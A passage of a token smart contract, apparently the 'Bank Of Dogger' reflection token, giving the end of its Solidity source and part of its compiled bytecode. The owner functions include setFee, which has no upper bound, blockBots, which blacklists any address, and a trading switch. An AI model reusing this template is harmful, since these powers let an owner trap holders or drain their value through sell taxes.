account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610614578063dd62ed3e1461063d578063ea1644d51461067a578063f2fde38b146106a3576101cc565b8063a2a957bb1461055a578063a9059cbb14610583578063bfd79284146105c0578063c3c8cd80146105fd576101cc565b80638f70ccf7116100d15780638f70ccf7146104b25780638f9a55c0146104db57806395d89b411461050657806398a5c31514610531576101cc565b806374010ece146104335780637d1db4a51461045c5780638da5cb5b14610487576101cc565b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461039f5780636fc3eaec146103c857806370a08231146103df578063715018a61461041c576101cc565b8063313ce5671461032057806349bd5a5e1461034b5780636b99905314610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632fd689e3146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612f2f565b6106cc565b005b34801561020657600080fd5b5061020f61081c565b60405161021c9190613378565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612e9b565b610859565b6040516102599190613342565b60405180910390f35b34801561026e57600080fd5b50610277610877565b604051610284919061335d565b60405180910390f35b34801561029957600080fd5b506102a261089d565b6040516102af919061355a565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612e4c565b6108ac565b6040516102ec9190613342565b60405180910390f35b34801561030157600080fd5b5061030a610985565b604051610317919061355a565b60405180910390f35b34801561032c57600080fd5b5061033561098b565b60405161034291906135cf565b60405180910390f35b34801561035757600080fd5b50610360610994565b60405161036d9190613327565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612dbe565b6109ba565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190612f70565b610aaa565b005b3480156103d457600080fd5b506103dd610b5c565b005b3480156103eb57600080fd5b5061040660048036038101906104019190612dbe565b610c2d565b604051610413919061355a565b60405180910390f35b34801561042857600080fd5b50610431610c7e565b005b34801561043f57600080fd5b5061045a60048036038101906104559190612f99565b610dd1565b005b34801561046857600080fd5b50610471610e70565b60405161047e919061355a565b60405180910390f35b34801561049357600080fd5b5061049c610e76565b6040516104a99190613327565b60405180910390f35b3480156104be57600080fd5b506104d960048036038101906104d49190612f70565b610e9f565b005b3480156104e757600080fd5b506104f0610f51565b6040516104fd919061355a565b60405180910390f35b34801561051257600080fd5b5061051b610f57565b6040516105289190613378565b60405180910390f35b34801561053d57600080fd5b5061055860048036038101906105539190612f99565b610f94565b005b34801561056657600080fd5b50610581600480360381019061057c9190612fc2565b611033565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612e9b565b6110ea565b6040516105b79190613342565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e29190612dbe565b611108565b6040516105f49190613342565b60405180910390f35b34801561060957600080fd5b50610612611128565b005b34801561062057600080fd5b5061063b60048036038101906106369190612ed7565b611201565b005b34801561064957600080fd5b50610664600480360381019061065f9190612e10565b611361565b604051610671919061355a565b60405180910390f35b34801561068657600080fd5b506106a1600480360381019061069c9190612f99565b6113e8565b005b3480156106af57600080fd5b506106ca60048036038101906106c59190612dbe565b611487565b005b6106d4611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610758906134ba565b60405180910390fd5b60005b8151811015610818576001601060008484815181106107ac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061081090613894565b915050610764565b5050565b60606040518060400160405280600e81526020017f42616e6b204f6620446f67676572000000000000000000000000000000000000815250905090565b600061086d610866611649565b8484611651565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000662386f26fc10000905090565b60006108b984848461181c565b61097a846108c5611649565b61097585604051806060016040528060288152602001613da160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092b611649565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a19092919063ffffffff16565b611651565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109c2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906134ba565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ab2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b36906134ba565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b9d611649565b73ffffffffffffffffffffffffffffffffffffffff161480610c135750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bfb611649565b73ffffffffffffffffffffffffffffffffffffffff16145b610c1c57600080fd5b6000479050610c2a81612105565b50565b6000610c77600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612200565b9050919050565b610c86611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0a906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dd9611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5d906134ba565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ea7611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b906134ba565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600b81526020017f444f474745522042414e4b000000000000000000000000000000000000000000815250905090565b610f9c611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611029576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611020906134ba565b60405180910390fd5b8060188190555050565b61103b611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bf906134ba565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006110fe6110f7611649565b848461181c565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611169611649565b73ffffffffffffffffffffffffffffffffffffffff1614806111df5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111c7611649565b73ffffffffffffffffffffffffffffffffffffffff16145b6111e857600080fd5b60006111f330610c2d565b90506111fe8161226e565b50565b611209611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d906134ba565b60405180910390fd5b60005b8383905081101561135b5781600560008686858181106112e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906112f79190612dbe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061135390613894565b915050611299565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113f0611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461147d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611474906134ba565b60405180910390fd5b8060178190555050565b61148f611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461151c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611513906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561158c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115839061341a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b89061353a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611731576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117289061343a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161180f919061355a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561188c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611883906134fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f39061339a565b60405180910390fd5b6000811161193f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611936906134da565b60405180910390fd5b611947610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b55750611985610e76565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611da057601560149054906101000a900460ff16611a44576119d6610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3a906133ba565b60405180910390fd5b5b601654811115611a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a80906133fa565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b2d5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b639061345a565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c195760175481611bce84610c2d565b611bd89190613690565b10611c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0f9061351a565b60405180910390fd5b5b6000611c2430610c2d565b9050600060185482101590506016548210611c3f5760165491505b808015611c57575060158054906101000a900460ff16155b8015611cb15750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cc95750601560169054906101000a900460ff165b8015611d1f5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d755750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d9d57611d838261226e565b60004790506000811115611d9b57611d9a47612105565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e475750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611efa5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611ef95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f08576000905061208f565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fb35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fcb57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120765750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561208e57600a54600c81905550600b54600d819055505b5b61209b84848484612566565b50505050565b60008383111582906120e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e09190613378565b60405180910390fd5b50600083856120f89190613771565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61215560028461259390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612180573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121d160028461259390919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121fc573d6000803e3d6000fd5b5050565b6000600654821115612247576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223e906133da565b60405180910390fd5b60006122516125dd565b9050612266818461259390919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156122cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122f95781602001602082028036833780820191505090505b5090503081600081518110612337577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156123d957600080fd5b505afa1580156123ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124119190612de7565b8160018151811061244b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124b230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611651565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612516959493929190613575565b600060405180830381600087803b15801561253057600080fd5b505af1158015612544573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061257457612573612608565b5b61257f84848461264b565b8061258d5761258c612816565b5b50505050565b60006125d583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061282a565b905092915050565b60008060006125ea61288d565b91509150612601818361259390919063ffffffff16565b9250505090565b6000600c5414801561261c57506000600d54145b1561262657612649565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061265d876128e9565b9550955095509550955095506126bb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061275085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061279c816129f9565b6127a68483612ab6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612803919061355a565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612871576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128689190613378565b60405180910390fd5b506000838561288091906136e6565b9050809150509392505050565b600080600060065490506000662386f26fc1000090506128bf662386f26fc1000060065461259390919063ffffffff16565b8210156128dc57600654662386f26fc100009350935050506128e5565b81819350935050505b9091565b60008060008060008060008060006129068a600c54600d54612af0565b92509250925060006129166125dd565b905060008060006129298e878787612b86565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061299383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120a1565b905092915050565b60008082846129aa9190613690565b9050838110156129ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129e69061347a565b60405180910390fd5b8091505092915050565b6000612a036125dd565b90506000612a1a8284612c0f90919063ffffffff16565b9050612a6e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612acb8260065461295190919063ffffffff16565b600681905550612ae68160075461299b90919063ffffffff16565b6007819055505050565b600080600080612b1c6064612b0e888a612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b466064612b38888b612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b6f82612b61858c61295190919063ffffffff16565b61295190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612b9f8589612c0f90919063ffffffff16565b90506000612bb68689612c0f90919063ffffffff16565b90506000612bcd8789612c0f90919063ffffffff16565b90506000612bf682612be8858761295190919063ffffffff16565b61295190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c225760009050612c84565b60008284612c309190613717565b9050828482612c3f91906136e6565b14612c7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c769061349a565b60405180910390fd5b809150505b92915050565b6000612c9d612c988461360f565b6135ea565b90508083825260208201905082856020860282011115612cbc57600080fd5b60005b85811015612cec5781612cd28882612cf6565b845260208401935060208301925050600181019050612cbf565b5050509392505050565b600081359050612d0581613d5b565b92915050565b600081519050612d1a81613d5b565b92915050565b60008083601f840112612d3257600080fd5b8235905067ffffffffffffffff811115612d4b57600080fd5b602083019150836020820283011115612d6357600080fd5b9250929050565b600082601f830112612d7b57600080fd5b8135612d8b848260208601612c8a565b91505092915050565b600081359050612da381613d72565b92915050565b600081359050612db881613d89565b92915050565b600060208284031215612dd057600080fd5b6000612dde84828501612cf6565b91505092915050565b600060208284031215612df957600080fd5b6000612e0784828501612d0b565b91505092915050565b60008060408385031215612e2357600080fd5b6000612e3185828601612cf6565b9250506020612e4285828601612cf6565b9150509250929050565b600080600060608486031215612e6157600080fd5b6000612e6f86828701612cf6565b9350506020612e8086828701612cf6565b9250506040612e9186828701612da9565b9150509250925092565b60008060408385031215612eae57600080fd5b6000612ebc85828601612cf6565b9250506020612ecd85828601612da9565b9150509250929050565b600080600060408486031215612eec57600080fd5b600084013567ffffffffffffffff811115612f0657600080fd5b612f1286828701612d20565b93509350506020612f2586828701612d94565b9150509250925092565b600060208284031215612f4157600080fd5b600082013567ffffffffffffffff811115612f5b57600080fd5b612f6784828501612d6a565b91505092915050565b600060208284031215612f8257600080fd5b6000612f9084828501612d94565b91505092915050565b600060208284031215612fab57600080fd5b6000612fb984828501612da9565b91505092915050565b60008060008060808587031215612fd857600080fd5b6000612fe687828801612da9565b9450506020612ff787828801612da9565b935050604061300887828801612da9565b925050606061301987828801612da9565b91505092959194509250565b6000613031838361303d565b60208301905092915050565b613046816137a5565b82525050565b613055816137a5565b82525050565b60006130668261364b565b613070818561366e565b935061307b8361363b565b8060005b838110156130ac5781516130938882613025565b975061309e83613661565b92505060018101905061307f565b5085935050505092915050565b6130c2816137b7565b82525050565b6130d1816137fa565b82525050565b6130e08161381e565b82525050565b60006130f182613656565b6130fb818561367f565b935061310b818560208601613830565b6131148161396a565b840191505092915050565b600061312c60238361367f565b91506131378261397b565b604082019050919050565b600061314f603f8361367f565b915061315a826139ca565b604082019050919050565b6000613172602a8361367f565b915061317d82613a19565b604082019050919050565b6000613195601c8361367f565b91506131a082613a68565b602082019050919050565b60006131b860268361367f565b91506131c382613a91565b604082019050919050565b60006131db60228361367f565b91506131e682613ae0565b604082019050919050565b60006131fe60238361367f565b915061320982613b2f565b604082019050919050565b6000613221601b8361367f565b915061322c82613b7e565b602082019050919050565b600061324460218361367f565b915061324f82613ba7565b604082019050919050565b600061326760208361367f565b915061327282613bf6565b602082019050919050565b600061328a60298361367f565b915061329582613c1f565b604082019050919050565b60006132ad60258361367f565b91506132b882613c6e565b604082019050919050565b60006132d060238361367f565b91506132db82613cbd565b604082019050919050565b60006132f360248361367f565b91506132fe82613d0c565b604082019050919050565b613312816137e3565b82525050565b613321816137ed565b82525050565b600060208201905061333c600083018461304c565b92915050565b600060208201905061335760008301846130b9565b92915050565b600060208201905061337260008301846130c8565b92915050565b6000602082019050818103600083015261339281846130e6565b905092915050565b600060208201905081810360008301526133b38161311f565b9050919050565b600060208201905081810360008301526133d381613142565b9050919050565b600060208201905081810360008301526133f381613165565b9050919050565b6000602082019050818103600083015261341381613188565b9050919050565b60006020820190508181036000830152613433816131ab565b9050919050565b60006020820190508181036000830152613453816131ce565b9050919050565b60006020820190508181036000830152613473816131f1565b9050919050565b6000602082019050818103600083015261349381613214565b9050919050565b600060208201905081810360008301526134b381613237565b9050919050565b600060208201905081810360008301526134d38161325a565b9050919050565b600060208201905081810360008301526134f38161327d565b9050919050565b60006020820190508181036000830152613513816132a0565b9050919050565b60006020820190508181036000830152613533816132c3565b9050919050565b60006020820190508181036000830152613553816132e6565b9050919050565